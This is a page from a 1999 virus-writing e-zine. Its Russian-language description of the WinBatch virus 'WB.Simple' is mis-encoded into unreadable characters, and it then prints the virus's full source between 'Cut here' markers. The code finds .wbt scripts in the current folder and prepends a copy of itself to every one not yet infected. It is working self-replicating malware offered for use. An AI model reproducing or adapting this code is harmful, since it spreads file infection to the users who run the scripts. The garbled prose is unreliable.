- [Duke's Virus Labs #8] - [Page 19] -

WB.Simple
(c) by Duke/SMF

     : WB.Simple
         : Duke/SMF
 ண.   : Windows Interface Language (WinBatch)
ଠ     : Windows OS + WinBatch application
 ᮧ : 28.07.99

    ਫ Windows  ⢮  ᮢ !  ⠥
⮫쪮 ࠧ  . ࢮ뢠⥫   Runner,
   1999 ᠫ  WB.Method. ,  ⭮, 㯯 SMF
ᥣ । ;-)) ,   砩訥 ப  ᢮ ६ 몠 Windows
Interface Language  㦥 ⠫     .

   ⪨  WB.Method :
-  ஫  ࠦ ࠦ 䠩;
- ࠩ, ⥬ ᠬ ᥡ 뤠   ஢ ;
- ⥭ -       ࠦ 䠩,  
  뢠  訡,   ,  ᪥ ⠪ ࠦ 䠩.

     ⪨  ࠢ   WB.Simple.  ࠧ᪨ 
ࠦ WBT-䠩 ⥪饣 ⠫, 뢠  砫.
    ⮩ :
- ⠪     CorelDraw Script,  몥 WIL  ।ᬮ७ אַ
  饭   䠩. ⮬ 室 ॡ  WBT-䠩 ⥪饣
  ⠫,           䠩 砫쭮
  饭 ;-)
- ᫨ ⠪ 䠩   (   -  ૨, ਬ), 
  ਭ㤨⥫ 室;
-  ॡ 䠩 -   ࠧ 㤥 ࠦ !  ⮩  ⪥
  ";WB.Simple" ஢塞  ࠦ. ⪨  -  ࠦ ;
- 㥬   C:\TEMP.WBT, 筮 ७ᨬ    ⥫
  , ⥬ 뢠  ᨢ   뢠  ᫥ ⥫ .
    㤠塞.

===== Cut here =====
;WB.Simple
;(c) by Duke/SMF
IntControl(29, @tab, 0, 0, 0)
ErrorMode(@OFF)
Viral = ""
AllWBT = FileItemize("*.wbt")
For i = 1 to ItemCount(AllWBT, @tab)
   OneWBT = ItemExtract(i, AllWBT, @tab)
   Size=FileSize(OneWBT)
   MarkBuffer = BinaryAlloc(Size+100)
   BinaryRead(MarkBuffer, OneWBT)
   If BinaryPeekStr(MarkBuffer, 0, 10) == ";WB.Simple" then
      Viral = OneWBT
      Break
   End If
Next i
If Viral != OneWBT Then EXIT
For w = 1 To ItemCount(AllWBT, @tab)
   OneWBT = ItemExtract(w, AllWBT, @tab)
   Size=FileSize(OneWBT)
   MarkBuffer = BinaryAlloc(Size+100)
   BinaryRead(MarkBuffer, OneWBT)
   If BinaryPeekStr(MarkBuffer, 0, 10) == ";WB.Simple" then Goto Infected
   FileCopy(OneWBT,"C:\TEMP.WBT",0)
   virus = FileOpen(Viral, "READ")
   host = FileOpen(OneWBT, "WRITE")
   While @TRUE
      x = FileRead(virus)
      FileWrite(host, x)
      If x == "EXIT ;SIMPLE" Then Break
   EndWhile
   FileClose(virus)
   FileClose(host)
   temp = FileOpen("C:\TEMP.WBT", "READ")
   Size=FileSize("C:\TEMP.WBT")
   MarkBuffer = BinaryAlloc(FileSize("C:\TEMP.WBT")+100)
   BinaryRead(MarkBuffer, "C:\TEMP.WBT")
   BinaryWriteEx(MarkBuffer, 0, OneWBT, 1258, Size)
   FileDelete(temp)
:Infected
Next w
EXIT ;SIMPLE
===== Cut here =====
